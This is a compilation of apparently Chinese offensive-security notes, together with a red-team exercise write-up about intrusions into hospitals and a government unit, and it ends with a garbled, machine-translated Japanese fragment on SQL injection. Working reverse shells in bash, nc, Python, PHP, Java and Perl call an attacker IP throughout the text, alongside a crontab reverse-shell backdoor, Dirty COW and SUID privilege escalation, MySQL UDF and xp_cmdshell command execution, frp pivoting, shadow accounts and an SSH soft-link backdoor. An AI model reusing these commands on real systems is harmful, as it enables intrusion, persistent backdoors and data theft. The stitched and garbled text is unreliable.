linux和内核提权跟windows一样,都要下载对应漏洞的脚本提权

uname -a 获取操作系统内核版本和内核架构
id 获取用户信息

  1. 查找相关版本的内核漏洞
  2. exp搜索链接:https://www.exploit-db.com/ (type选local)
exp下载:http://github.com/SecWiki/linux-kernel-exploits
  1. 上传exp并编译
    exp是.c文件,上传到服务器后需要用gcc编译。.cpp用g++
    编译 gcc pwn.c -o pwn (exp下载文件里有对应的编译说明文档)
    运行 ./pwn
    如果目标机没有gcc或者g++,自己没有权限也肯定不能安装。唯一的办法是在本地搭建一个和服务器内核版本相同的环境,在里面编译完成了再上传至靶机

windows提权成功后在exp后接命令就是高权限运行,但是linux提权成功是返回一个shell。脚本执行后返回shell失败,可能是需要反弹shell

脏牛提权实例

  1. id查看目标机用户权限
  2. uname -a目标机的linxu kernel>=2.6.22进行脏牛提权
  3. 寻找对应exp `http://github/FireFart/dirtycow
  4. exp下载至目标机并编译 gcc -pthread dirty.c -o dirty -lcrypt
  5. 完成后,销毁firefart密码文件即可恢复root
    mv /tmp/passwd.bak /etc/passwd

获取shell后将shell转换为完全交互式的TTY:python -c 'import pty;pty.spawn("/bin/bash")'

suid提权

此处涉及权限划分的知识。在Linux中通过权限位rwx实现文件权限管理。d目录,-普通文件。r read;w write;x execute
wxe4f3hjhib15251.png

所有者-所属者-其他用户

  • suid作用于二进制可执行程序上,当执行程序时会临时切换身份为文件所有者身份为文件所有者身份。
    chmod u+s FILE\chmod 4755 FILE 添加SUID权限到二进制文件(在三位数据权限前,4代表添加到SUID位)
    chmod u-s FILE\chmod 0xxx FILE 删除suid
    a5q4g0dnxyc15252.png
  • 文件属主为s表示设置了suid.没有x权限用大写S,表示权限无效

简而言之,任何用户执行有suid的文件时,都会以第一个权限运行

所以利用suid提权的一个小案例就是:
创建一个1.c文件,代码如下:

#include<unistd.h>
void main(){
setuid(0); #root的uid=0,意味着执行后面的代码是root权限在执行
system("su - root);#将当前环境转为root
}

gcc 1.c -o 1编译
chmod u+s 1 添加suid
./1 执行
su - root !=su root.su 只是切换了root身份,但shell环境依旧是普通用户,su - 用户和环境一起切换了。

linux数据库提权

和windows一样的,udf提权

  • 环境要求:配置中secure_file_priv="",
    mysql具有root权限,具有sql语句执行权限,目录可读可写,selinux关闭

先获取低权限shell,提权过程:
1fnonuek02d15254.png

  1. 查看plugin目录路径 show variables like '%plugin%';
    select unhex('udf十六进制') into dumpfile 'usr/lib64/mysql/plugin/1.so'; (plugin路径/1.so)
  2. 声明函数 create function sys_eval returns string soname '1.so';
  3. 执行高权限命令 select sys_eval('whoami');
  4. 清除痕迹 drop function sys_eval;

windows soname动态链接库指向udf.dll,linux指向.so文件,所以声明的函数也要是.so文件里的。
详情请见上篇windows提权

反弹shell

  • 反弹shell使用场景:防火墙会阻止客户端主动连接服务器,但是服务器连接客户端通过防火墙时,可以穿透到达客户端

nc

netcat简称nc,被称为渗透测试中的瑞士军~~~~刀。
它可以用作端口监听、端口扫描、远程文件传输、远程shell等

  • 语法:nc [-hlnruz][-g 网关][-G 指向器数目][-i 延迟秒数][-o 输出文件][-p 通信端口][-s 来源IP][-v 次数][-w 超时秒数][主机名称][通信端口...]
  • 反向shell
    假设在目标主机找到了RCE漏洞,可以在目标主机上用nc发出命令启动反向shell
    uct2brgy0pp15257.png
  1. 在攻击机或vps上监听本地端口nc -lvp 监听端口号
  2. 靶机命令,连接攻击机的监听端口nc 攻击机ip 监听端口号 -e /bin/bash #linux
    nc 攻击机ip 监听端口号 -e c:\windows\system32\cmd.exe #windows
    -e:将bash shell 发回主机
  3. 正向shell
    正向shell时在目标机使用nc将bash shell绑定到特定端口,攻击机nc连接到此端口
    eiqz0w4wgyw15260.png

bash反弹shell

目标主机可能没有nc或不支持-e参数时,就需要以下方式反弹shell

  • 攻击机监听:nc -lvvp 端口
  • 目标主机:bash -i >& /dev/tcp/攻击机ip/监听端口号 0>&1
bash -i产生一个交互式shell
&将&前后内容相结合重定向(>)至后者
/dev/tcp/ip/port对socket网络连接的抽象
0>&1将标准输入和标准输入内容相结合,然后重定向至标准输出内容。0标准输入、1标准输出、2错误输出

其他反弹shell方式

python反弹shell

import soket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",监听端口号));
os.dup(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

php反弹shell

$sock=fsockopen("攻击机IP",监听端口);
exec("/bin/sh -i <&3 >&3 2>&3");

java反弹shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击机ip/监听端口;cat <&5 | while read line;do $line 2>&5>&5;done"] as String[])
p.waitFor()

perl 反弹shell

use Socket;
$i="攻击机IP地址";
$p=监听端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
(open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};

perl和python绝大多数服务器都会装,所以很有用

以某次内网渗透为实例

横向渗透预备工作

pumeeyipulr15267.png
假设是如上拓扑图。先无视防火墙,内网机器无法直接访问外网,必须要走边界机。

获得低权限shell

  • 在网站信息搜集看到是joomla模板
  • msf里search joomla 查看 辅助模块auxiliar里的扫描脚本auxiliary/scannner/http/joomla_version
  • use脚本设置rhost参数,然后expolit运行可以看到网站版本。expolit -j -z挂后台
  • searchsplopit joomla 版本寻找exp,最好是在exploit.db找,这里图个方便
  • 把脚本copy到msf的exploits/multi/php目录下,然后reload
  • use exp脚本,set rhost\rport参数和lhost\lport参数,set payload为reverse或者bind,exploit运行

目前获得了低权限shell,sessions进入shell

提权

  • uname -a查看系统信息
  • gcc --version看到有gcc,就找c语言的脚本。另起一个终端nc --lvvp 端口监听新端口
  • shell里bash -i >& /dev/tcp/xx.xx.xx.xx/端口 0>&1反弹shell
  • searchspolit linux kernel 内核版本 --exclute="(PoC)|/dos/"搜索本地提权脚本。除去Poc和dos,就剩本地脚本了。同理,也可以在expolit.db上找
  • 上传脚本,但是靶机的网站根目录不可写(很少见),写到/tmp目录
  • gcc -o 输出文件名 脚本名编译,./文件名运行。不行就换脚本,脚本里有使用方法,事先看一下

提不了就别提了,不是非要提权(试李妈半天都提不起,不知道这些exp谁写的)

一级代理

  • 靶机python reGeorgSocksProxy.py -u http://IP -p 代理端口建立代理转发服务器
  • ipconfig或者其他的看下网段,run autoroute -s 网端开启路由转发
  • use auxiliary/scanner/discovery、nmap、ping扫描等扫同网端存活主机
  • 扫描端口use auxiliary/scanner/portscan/tcp或者nmap扫,设置一下rhost和常用端口,运行
  • vim /etc/proxychains.conf配置代理,浏览器开代理访问内网网站(建议foxyProxy插件)

如果开了80端口,接下来就是搞内网的站,拿内网的webshell。注意蚁剑和burpsuit等工具也要配置代理

reGeorgSocksProxy指定的端口要和proxychains.conf文件里的端口一致,因为这波操作的意义就是把边界机当作跳板,regeorgsocksproxy.py在边界机起到代理服务器的作用,proxychains就是客户端

内网的站打下来了重复上述步骤到提权。

二层内网渗透(bind)

  • 生成msf木马msfvenom -p windows/meterpreter/bind_tcp lport=xxx -f exe -o 文件名,因为内网不能直接连外网的原因,reverse版木马无法使用,但是我们有代理可以连内网。上传
  • 同理,生成了木马本地就需要有msf进程监听。use exploit/multi/handler,然后set payload windows/meterpreter/bind_tcp,payload和msf木马所用payload一致,设置参数lport和rhost.(这里开监听是在边界服务器开,也就是之前msf的边界服务器终端,lport当然也是边界机的端口,相当于本机msf对靶机边界机 的渗透变为了==靶机边界机对内网二层机==)
  • 在二层内网机提权运行msf木马拿到shell后,run autoroute -s 另一内网网段添加路由
  • 扫描,老样子,那几个扫描用啥都行,run arp_scanner -r 网段进行arp扫描

如果非要用reverse的连接方式呢,今天我皮痒,或者有防火墙只能出。
很简单,用到端口转发。如果将边界机监听reverse的端口转发到本地端口,二层内网机reverse到边界机的端口就相当于直接和本地通信

lcx被检测概率太大,用frp

二层内网渗透(frp工具reverse)

关于frp要分清楚客户端和服务端到底应该放在哪。具体可以看==frpc.ini==和==frps.ini==

比如某frpc.ini的内容

[common]
server_addr=172.16.12.2
server_port=7100
[ssh]
type=tcp
local_ip=127.0.0.1
local_port=5000
remote_port=5000

如上,客户端连接服务端的7000端口,是将本机的5000端口数据以tcp转发到172.16.12.2的5000端口。因为你开frp也需要端口的嘛。这样连接服务端的5000端口就相当于连接客户端的5000端口。
服务端只有两行,监听一下就行了

[common]
bind_port=7100

这里,我要强调本文的精华

==frp端口转发与内网穿透==

do11g3ae5qw15273.png

还是这张图。对于外网kali访问内网机,有两种手法,一是把外网kali的端口转发至边界机的端口。这样数据发到边界机的该端口就相当于发到外网kali,而端口转发frps在边界机、frpc在外网kali。另一种方式是内网穿透,把内网流量直接穿透到外网使得内网机能上网,frps也在边界机,frpc在内网机。

可以理解为都是端口转发,访问frps所在主机就相当于访问frpc,所以frps一定要在中间的机器上。逻辑理不通建议反复读来回读读通读透。有很多文章啊就不介绍端口转发和内网穿透有什么区别,整半天都不知道frps放哪,虽然只学内网穿透就够外网打内网一招鲜了。

上传frp和ini文件,运行。重新msfvenome生成一个reverse木马,lhost指向边界机 lport也是边界机要开的端口。(木马的lhost指的是需要连接的ip,不是指上传的ip)
上传木马到二层边界机运行,再在边界机shell里开监听(监听msf木马lport)

二层代理

  • msf开二层代理,在刚在监听的shell里use auxiliary/server/socks5,然后run运行
  • 对之前arp扫描的主机use auxiliary/scanner/portscan/tcp扫描端口,设置rhost参数,准备再往里打
  • 配置浏览器代理,选socks5,端口和socks5脚本show options的端口一致
  • 访问三层内网机的80端口,准备三层内网渗透(打80端口)

二层渗透就搞定了。如果三层内网要出网经过二层内网。用bind的话还好,用reverse就需要用两次代理转发

简单提一下三层内网,可以上传lcx再进行一次端口转发,把二层内网机的frp端口转发到边界机,或者走frp代理。这样都是frp端口就串起来了,再把三层内网机reverse到二层的端口等于二层转发的端口,相当于直接reverse出去

所以!多层代理就是把多层主机端口串起来!

什么?拿完shell,几台机子的shell来回切你嫌麻烦?可以直接用Termite工具

Termite

Termite用于管理多层跳板,有admin和agent两个文件。

  • 在第一个节点上传agent的对应版本,运行./agent_版本 -l 端口
  • 在攻击机运行admin的对应版本 -c 边界机ip -p 端口,连接没问题就跳ok
  • admin的shell里goto 1进入第一个节点,shell 端口。然后起个终端开nc或者其他监听,监听该端口,弹回了第一个shell
  • 二层机器agent对应版本 -c 上一层ip -p 上一层端口。端口与前面开agent和admin的端口一致。

小站权限维持大部分还是靠webshell后门,其他的可以,但没必要。还有搞站最好别在晚上搞,晚上流量少,搞站日志记录和流量占比很大。因而写的好的木马流量控制做的很好,上传和下载速度都有控制

权限维持

权限维持不一定是高权限。后门最好都要伪装,如启动,图标,名字。经过学习个人认为权限维持=隐藏后门

windows后门

常见的后门:shift后门,启动项/计划任务,映像劫持,影子账户,远控
大多数情况下,后门是一个隐藏进程。

  • shift后门

windows按五下shift后,windows就运行了system32下的sethc.exe,启动粘滞键。

将cmd.exe更名为sethc.exe并把原来的替换,之后连续按下5次shift后就会以system权限运行cmd.exe,之后只要利用cmd增加一个administator就可以登录

除此之外,连接上3389之后可以使用的功能不止shift,还有放大镜等可以替换。

  • 映像劫持
    现在很难使用了,在高版本的windows版本中替换的文件受到了系统保护,所以要映像劫持。
    a.exe实际打开是b.exe,就是劫持

映像劫持也称IFEO,是为一些在默认系统环境中运行时可能引发错误的程序执行提供特殊的环境设定。默认管理员有权读写

映像劫持的制作过程

  1. 在注册表中新建一个项
    注册表位置HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options
  2. 程序中添加debugger键
  3. 键值设置为恶意程序的路径
  • 计划任务后门
    计划任务在win7及之前版本的操作系统中使用at命令,win8及之后使用schtasks命令

创建计划任务基本命令: schtask /create /t "chrom" /tr cmd.exe /sc minute /mo 1
上述命令的意思为创建一个计划任务名字为chrom,执行cmd.exe每分钟执行一次。执行后门就改指向文件和执行频率

  • 注册表自启动后门

制作过程

  1. 打开注册表HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
  2. 添加键值REG_SZ
  3. 数据中填运行程序路径
  • 影子账户(杀毒能杀)
    顾名思义隐藏账户,只能通过注册表查看该用户。影子账户可以获得管理员权限且不易被发现

制作过程

  1. 创建隐藏账户
    创建隐藏账户只需在账户名后加\$符号,如net user test$ 123 /add
  2. 修改并导出注册表
  • 注册表位置HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/,如进入SAM无法看到子选项,需要给administrators完全控制权限
  • 将administrator用户的F值复制到test\$对应F值,保存
  • 将test\$和users右键导出
  1. 删除创建的隐藏用户
    cmd删除test\$net user test$ /del
  2. 导入注册表
    双击导出的两个注册表

影子账户试了一下,还是很牛逼的。

linux后门

  • 计划任务后门(crontab后门)

crontab命令介绍
gaq3sowrh4q15276.png

  • crontab命令用来管理用户需要周期执行的任务。等于windows计划任务。crond进程每分钟会定期检查是否有要执行的任务,如果有则自动执行
    通常在计划任务中添加后门,或者替换服务进程,以及反弹shell
  • 反弹shell
  1. 攻击机监听nc -lvvp 本地端口号
  2. 目标机中设置计划任务crontab -e
    下列代码表示每分钟反弹一次shell到攻击机
    */1 * * * * bash -i >& /dev/tcp/攻击机外网ip/攻击机端口 0>&1
  • ssh公钥免密(常用)
    将客户端生成的ssh公钥写道目标服务器的 ~/.ssh/authorized_keys中,之后客户端利用私钥完成认证即可登录。该后门易被发现

制作过程

  1. 在攻击机上生成公钥私钥对
    ssh-keygen -t rsa

在中途会让输入密钥对密码,如果需要免密登录则回车跳过

  1. 将攻击机.ssh目录下的id_rsa.pub复制到目标服务器的/root/.ssh/authorized_key文件里
    scp ~/.ssh/id_rsa.pub root@目标服务器IP地址:/root/.ssh/authorized_keys
    450wvythgqg15280.png
  2. 在目标服务器中,将authorized_keys权限改为600
    chmod 600 /root/.ssh/authorized.keys
  3. 尝试免密登录

详情请见ssh登录详解

  • ssh软连接后门
    非常经典的后门,直接对sshd建立软连接,之后就能用任意密码登录

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息,su在pam_rootok检测uid 0即认证成功,也可以使用/etc/pam.d中存在的其他软连接名字

特点:1. 隐蔽性弱,rookit hunter这类防护脚本可以轻松扫到

  1. 本地查看端口会暴露
  2. 能绕过一些流量监控

制作过程

  1. 创建软连接 ln -sf /usr/sbin/sshd /tmp/su
  2. 设置监听端口。因为本地查看端口容易暴露,建议设置8080,8081伪装 /tmp/su -o Port=8080
    运行/tmp/su就等于运行/usr/sbin/sshd,连不上可以nmap扫一下,有防火墙连不上
  • inetd/xinetd后门(很老很老)
    监听外部网络请求(socket)的系统守护进程
    具体工作过程:当inetd收到一个外部请求后,会到配置文件中找到实际处理它的程序,在把socket交给那个程序处理

inetd后门制作

  1. 向/etc/inetd.conf文件中加入一行:daytime stream tcp nowait root /bin/bash bash -i
  2. 开启inet后用nc连接:nc -lvvp 目标ip 13

还有prism后门等在服务器安装软件的,极易被发现



作者:godown文章原文来源: https://xz.aliyun.com/t/11784




来自为知笔记(Wiz)

0x00 写个开头凑字数

这次攻防打的还是比较有意思的,开局电脑摆烂恼火的很,最后没电脑只能拿着销售的电脑疯狂输出。

image.png

去拿电脑没一会的功夫我们的私有目标就被干出局了,这次的规则还是有点问题按系统分给各个队伍,不是按照目标单位分的,别人分到我们私有目标的部分系统基础分和数据分薅完一下被干出局了,后面再打只有100路径分,还有老6盯着我们的私有目标打,有个泛微office的洞我们手上没有,目标一放出来就穿了,怪自己太菜了。

排名最后还算理想吧最终排名第三,跟两个技术大哥没后端支撑的情况排到前三还是可以的,前面两位重量级选手卷不过啊,一个提交0day另外一个后端支撑有名的卷,最后前两名分数比我们高出一半多。

废话讲完了,开始我们的内容,码打的严师傅们勿怪,文章最后欢迎师傅们留下评论来交流。

0x01 目标

某医院外网弱口令

第一天分了私有目标和公共目标,这个目标是公共池目标,运气也是比较好外网一个弱口令直接进去了,主要就是要知道IP地址,突破到内网这里没啥技术含量,目标给的是一个官网的地址,估计其他队伍的师傅们都去冲云上官网那个IP了,后面云上的我们也通过信息科专用共享服务器上密码文件拿到了所有权限。

攻击路径

image.png

下面我会按照上面图上标记的序号说明内网攻击过程

路径1/路径2 外网弱口令

这里说下这个目标IP怎么来的,通过IP地址收集C段信息找到h3c设备,默认审计账号密码登陆上去命令控制台查看对应授权信息确定是目标IP地址,但是审计账号没有配置权限没法做vpn隧道这些,所以做了个全端口扫描发现一个非标准端口的ssh弱口令,这里拿到服务器权限后我先做了一个反弹shell计划任务。

crontab -e编辑计划任务

bash -c 'exec bash -i &>/dev/tcp/you vps ip/you vps port <&1'

做完计划任务之后我才上fscan扫描,发现内网很多ssh、mssql弱口令,ssh反弹shell计划任务又做了几台,防止一会动作太大掉了。

image.png

内网弱口令一薅一大把,建个frp方便一会去内网翻东西,下载对应编译好的版本就可以。

项目地址:https://github.com/fatedier/frp

frp server

[common]
bind_port = 8945

frp client

[common]
server_addr = you vps ip
server_port = 8945
tls_enable = ture
pool_count = 5

[plugin_socks]
type = tcp
remote_port = 35145
plugin = socks5
# 认证 免认证把下面两行去掉
plugin_user = admin
plugin_passwd = Admin@123
use_encryption = true
use_compression = true

vps上执行

./fprs -c frps.ini

跳板机上执行

./fprc -c frpc.ini

确定连接没问题之后nohup &到后台,这里如果用的腾讯云或者阿里这种vps一定记得端口组里面开启对应的端口,否则连接不上,proxifier确定代理可用。

image.png

路径3 运维机器

这里通过刚才fscan扫描到的mssql弱口令打的一台运维终端主机

# 开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp\_configure 'xp_cmdshell', 1;RECONFIGURE;
# 命令执行
exec master..xp_cmdshell "whoami"

相关文章

https://www.cnblogs.com/websecyw/p/11016974.html

确定命令正常执行是个system权限,certutil下载木马上线,抓出密码后确定管理员不在线远程到桌面。

image.png

路径4 服务器所有权限

远程到终端上面才知道这台机器是运维的机器,终端上面打开了sql server连接软件,同样使用上面的命令开启xp_cmdshell执行命令,这里sql server数据库做了降权操作,权限是sqlserver服务权限。

image.png

这里上马子的时候一直有问题权限太低了,上面有火绒企业版开启了系统加固,temp目录写文件写不进去,只拿了sqlserver权限,后面测试了下关闭火绒还是不行,应该是本来sqlserver权限就比较低,后面发现火绒控制台可以分发文件自动执行马子就没管了,这个可以后面复现下环境研究下。

image.png

查看浏览器保存的密码,火狐浏览器里面保存了火绒控制台的账号密码,还有其他一些平台的账号密码,密码收集一下一会可以撞密码。

image.png

everything文件搜索关键字,不管服务器还是终端的文件都仔细翻下,说不定就有意外收获。

密码|信息科|资产表|拓扑|账号|设备|pass|user|config|管理|规划

ereryting高级用法(正则表达式),也可以使用content搜索文件内容,文件内容搜索比较慢。

ererything相关文章 https://www.jianshu.com/p/9c0ab75a264f

在电脑上找到了设备密码信息还有拓扑信息

image.png

设备服务器所有信息

image.png

基本上是所有的网络设备和服务器权限了,这里整理下密码去撞一下密码,在整理密码的的时候发现这个密码是有规律的密码,梳理一下密码的规律使用社工密码生成脚本去生成一些密码。

工具下载地址:https://github.com/cityofEmbera/CPassword

工具使用比较简单,我们只需要修改username.txt里面的名字就可以了,dict.txt里面有自带的规则,我们也可以稍作修改,比如增加一下密码里面自带的一些规律,还有最近的年份信息,比如:

@2013
@2014
@2015
@2016
@2017
@2018
@2019
@2020
@2021
@2022
#2013
#2014
#2015
#2016
#2017
#2018
#2019
#2020
#2021
#2022
123!@#
!@#123.
@233
!@#345
!@#qwe

python3 createDict.py就会自动生成密码文件,密码保存在createdict.txt文件里面,密码生成后丢给kscan指定密码文件去撞密码。

kscan.exe -t 10.0.0.0/8 --hydra --hydra-pass file:pwd.txt

路径5 火绒控制台文件分发

这里就是使用火绒控制台分发文件的功能直接下发文件,这里也是神奇哈文件分发后居然自动执行了,牛呀牛呀

image.png

火绒控制台这里不知道为啥我的浏览器一开控制台直接卡死,找J师傅给我看的,文件直接分发下去

image.png

装了火绒的机器全部上线,有些内网机器没上线,这里CS 4.3有问题选择中转监听器生成文件生成不了

image.png

image.png


看了下有一台靶标机器也在,芜湖分数基本算拿满了,服务器、网络设备、终端的分再加上回收站翻到的带公民身份信息的数据4w条,6k分到手了

路径6 云上资产

这里打到一台信息科共享服务器是通过刚才收集到的口令撞密码撞出来的,还有上面sqlserver弱口令也可以执行命令,因为前面sa弱口令实在太多了,没一个一个去打,这里有口令直接使用工具打一下上线

image.png

随便翻了下文件发现E盘有个信息科专用文件夹点开一看好家伙云上的资产也拿到了

image.png

路径7 域名权限

用刚才的账户密码登陆获取域名解析权限

image.png

云服务器权限,其中一台服务器是官网服务器,是其他队伍的靶标直接拿了

image.png

路径8 云服务器权限

直接阿里云控制台登陆上去用c2生成powershell上线

image.png

某综合医院

这个目标是开始后的第三天晚上开放社工还有近源搞的

攻击路径

image.png

路径1 wifi口令

开放社工和近源那天立马就去报名了,吃完饭换掉工作服拿着手机就冲去医院了,之前手机上刷了kali nethunte,编译了一些arm版本的工具完全够用了,只要在内网建立个立足点就可以了。

到现场之后打开wifi万能钥匙搜索附近的wifi

image.png

连上wifi确定可以通到靶标IP地址,微信扫描二维码密码取出来,一会内网再撞一下密码。

image.png

登陆网关地址发现是h3c出口设备,弱口令登陆到设备上面有网段信息根据网段信息去扫描对应的网段

image.png

路径2 向日葵rce

kscan指定wifi密码文件撞下3389、22、1433这些脆弱端口的密码,拿到了一台内网机器和一台外网机器。

外网机器有向日葵rce漏洞,whoami之后好像把向日葵打挂了(这里不知道什么问题,没找到原因),后面执行命令一直 不回显

image.png

用密码远程登陆上去发现向日葵一直重新连接状态退出重新开还是一样的,把马子上好之后以防万一装个todesk一会远程弄

image.png

路径3 靶标机器

通过刚才外网跳板机todesk远程,直接扫内网服务器网段撞密码撞出一台机器,发现服务器上装了todesk,保存了三台靶标机器的todesk远程,美滋滋a

image.png

image.png

加上刚才终端his系统上的数据,6k分打满了

某专科医院

这个医院当时晚上去的关门了,第二天早上一大早过去了,这个医院进去有点尴尬和社死,当时过去没先查下这个医院是什么类型医院,门口没wifi只有进去了,进去的时候门口医生还是门卫问我挂什么科。

男科?妇科?

我:???

然后又看了看我脖子上有点过敏,说挂皮肤科吗?

我:啊 对对对 皮肤科

进去之后一搜这个医院信息,我敲了这好像是个专科医院懂得都懂

进去正常挂号在那边等,这个医院好像没专门皮肤科的医生,挂完号让我等了一个多小时,打开手机坐着连上wifi开始扫内网

1655648732832-5d0ef9aa-f9d4-4905-a993-08efcaefa04c.png

没等到医生,拿了个跳板机上了马子就溜溜球了,内网只有一个孤儿机器

攻击路径

image.png

路径1 wifi口令

同样wifi万能钥匙进去

路径2 靶标机器

这里扫描内网发现了一个ms17010是一个win2012的机器,手机上msf直接单命令执行试试。

image.png

机器上有360加账号加不上,certutil试了下机器上没有,看了下有向日葵的进程,那么我们可以直接读取他的配置文件解密直接远程到机器上。

配置文件路径


安装版:C:\\Program Files\\Oray\\SunLogin\\SunloginClient\\config.ini

便携版(绿色版):C:\\ProgramData\\Oray\\SunloginClient\\config.ini

尝试了下没有这两个文件

image.png

应该是高版本的,可以试试注册表里面找,看了下有360希望别拦截

# 注册表查询
reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginInfo

reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginGreenInfo

1655654565028-718d09f4-479b-46ec-ab2c-0d2f066753e2.png

芜湖没拦截,抓出来直接丢工具里面解密

向日葵解密工具地址:https://github.com/wafinfo/Sunflower_get_Password

工具使用比较简单,git下来pip安装好unicorn,然后python3执行输入刚才我们注册表里面获取到的encry_pwd字段,根据提示输入到脚本里面

image.png

验证下可以连接,直接向日葵远程拿到主机的权限,溜溜球了

某ZF单位

这个单位没啥东西,这是最后几天跑了ZF街趴墙角一个一个单位薅这个算一个案例吧,拿到了出口设备可以搭建vpn,直接启用l2tp搭建隧道进入内网,为了保住前三的位置拼尽全力了。

攻击路径

这个没截图,可以看下面的文章,关键的步骤这里。

image.png

参考文章:

https://zhiliao.h3c.com/questions/dispcont/146895

https://baijiahao.baidu.com/s?id=1716025203844234922&amp;wfr=spider&amp;for=pc

如果vpn搭建不起或者设备没vpn授权,但是有nat和telnet功能,你有足够的耐心的话也可以参考我之前文章的思路,通过telnet去测试内网的脆弱端口映射到外网,写个脚本去批量测试提高效率,上次比赛回来没来的及写。

文章地址:https://forum.butian.net/share/1633

0x02 总结

这次突破到内网没啥干货,主要是内网横向这块这次攻防遇到的一些东西,在第一个医院拿靶标的系统的时候从运维机上xp_cmdshell攻击靶机,sqlserver数据库做了降权操作temp目录写不了,一直拿不下上面的靶标系统,后面是通过火绒控制台分发文件上线的,其实最开始就已经拿到火绒控制台了,没有去用这个功能怕影响太大了,后面实在没办法了才用,自己会的sqlserver利用姿势还是太少了还得学习,后面基本上都是些社工的东西,划水划到的第三名,电脑坏了拿销售电脑打太费劲了大半时间配置环境

最近也看到一篇关于sqlserver比较好的文章分享一波,社区师傅们姿势多的

https://forum.butian.net/share/1390

最近打攻防总结的一些东西,欢迎师傅们来交流

一些技巧总结:

外网打点

  • 资产收集 ENScan_GO
  • 空间绘测 fofa/360quake/shadow/zoomeye/hunter
  • kunyu/fofa_viewer/infoSearchAll
  • 轻量扫描器
    • kscan 服务识别 可以配合fofa快速识别
    • fscan c段快速识别
  • 子域名对应IP C段资产快速扫描
    • 子域名信息收集 oneforall/subfinder/ksubdomain
    • 快速筛选真实IP生成C段 Eeyes
  • web指纹识别
    • EHole 很好的一个工具,可以二开下增加指纹和空间绘测引擎接口
    • tide潮汐指纹web在线检测
    • TideFinger
    • httpx 获取网页标题状态码

内网主机信息收集

  • everything文件搜索(正则表达式提高效率)
  • 浏览器保存的密码/微信/QQ文件夹/回收站/共享盘/邮件软件/协同软件
  • 远程软件保存的远程连接 mstsc/内网通/向日葵/todesk等

内网常见漏洞

  • 向日葵rce(向日葵真的爽)
  • weblogic
  • s2
  • redis
    shiro



原文地址:   https://forum.butian.net/share/1719

1。アプリパケットキャプチャと逆クラッキング暗号化アルゴリズム

オープンアプリはログインボックスです

图片

パケットをキャッチした後、パラメーターが暗号化されました

图片

JADXオフソースコードを使用して、砲撃や混乱がないことがわかりました。とても幸運でした。

图片

Experienceによると、暗号化、復号化などのキーワードを最初に検索し、Common.jsに暗号化機能があることがわかりました。

图片

過去の配置、暗号化と復号化アルゴリズムのセットが書かれてここに配置されています

图片

ブラウザコンソールに入れてデバッグしてください、それは本当です

图片

2。注入点を見つけます

最初に注入をテストします

プレーンテキスト: {'username':'test' '、' password':'123456 '、' ostype':'android '、' osversion':'5.1.1 '、' appversion ':'20。 06.04 '、' logintype':'1 '、' model ':'v1938t '、' brand':'vivo '、' imei':'86516023309431 '、' version ':'new '}

パスワード: QSXBDUSV0QPJKD5TWYR90SSHKWZZFVIPKWUNFCK1GZZPKEZVJWWJ2ASJDZWXWRL5KURRVMFTWZOBHWTVUMR1KWSZZFV4TMRSBFBYIWCSV0YXRGBZWEBTSD 0T0J1RJFWNXNLMRMRBTUHZLBSRNTXF2SOVEVWZEBSBFCZEWVXAJVLXMMMZZYVY0D1TYP0VHNDBXNFNSVVYQX2VWHKTX50U41WW3JVNLMTUNFR4VVYSJVUVUF dbgjltwhuxftvhzhcxnvmspnvobnbtlfcxy1qobtwvbhmr1ebxjvc4vuzw0ebubxotfmswh1tyzubulteasdfw1attpxmmkbhbhbwe2ckpw1okvilgatnf C5UVYWRGMZFTSW1KAA52UEHXVHPLUSR1DWSWYOHGWTBXOVFMUXITWYI1VNPGCUJFSODVYZW2VTVNRW1KVATWVZXX2AOPKTSDFMAVLYVLIVXMBWLXTX10SSHLW結果:アプリは例外图片を返します

プレーンテキスト: {'username':'test' '' '' '' '' '' '' '' '' '' '' '' '' :'123456 '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion':'20 .06.04 '、' logintype':'1 '、' model ':'v1938t '、' brand':'vivo '、' imei':'865166023309431 '、' version ':'new '}

パスワード: jdfmqjvrdlmq2l3ahjlwxfmaox2vxaxvhbhbfbh5uejd0ypvjmznhcsjmsoh1uufzaljluxq1mxwzgwrfxnr1krsxgv5nwbhpkwunfvgdky4nmvzbhzyfms A52VZZUBNTEBYQFCGZLYPHWBTVHBWF2MSD1UWHWBL5KVUJVCAZVY2B3VTPNWXIVYAHVT0XGMJPKTWRFC50WYKHXBRLLLVXZVMJZVW1XMESLGBYQGCSVUTCB3RU LXRRFWTKH1UXX2AOPEBTLLM41WTQXMBWRNWXQ2QOZ1VWRGWHWAII5EVXUFZWB3VTJZAVFWAAHKY510VLDVMTZLNSRLYK5EWTRECGNWITWYZLEWPFBYI wcsvkydhmvazvnw0uasjdzwx2anzlurrnsvkvoxmmifhbwe2sopwzvdmnpgatfvdsbzykxmbtvnrw1kvatwvzx2aopktsdfmavlyvxmbwlxtx10sshlw結果:アプリは通常の图片を返します

プレーンテキスト: {'username':'test'or'1'='1'、 'password ':'123456'、 'ostype'3360'android'、 'osversion ':'5.1'、 'appversion ': '20 .06.04 '、' logintype':'1 '、' model':'v1938t '、' brand ':'vivo '、' imei':'865166023309431 '、' version'new '}

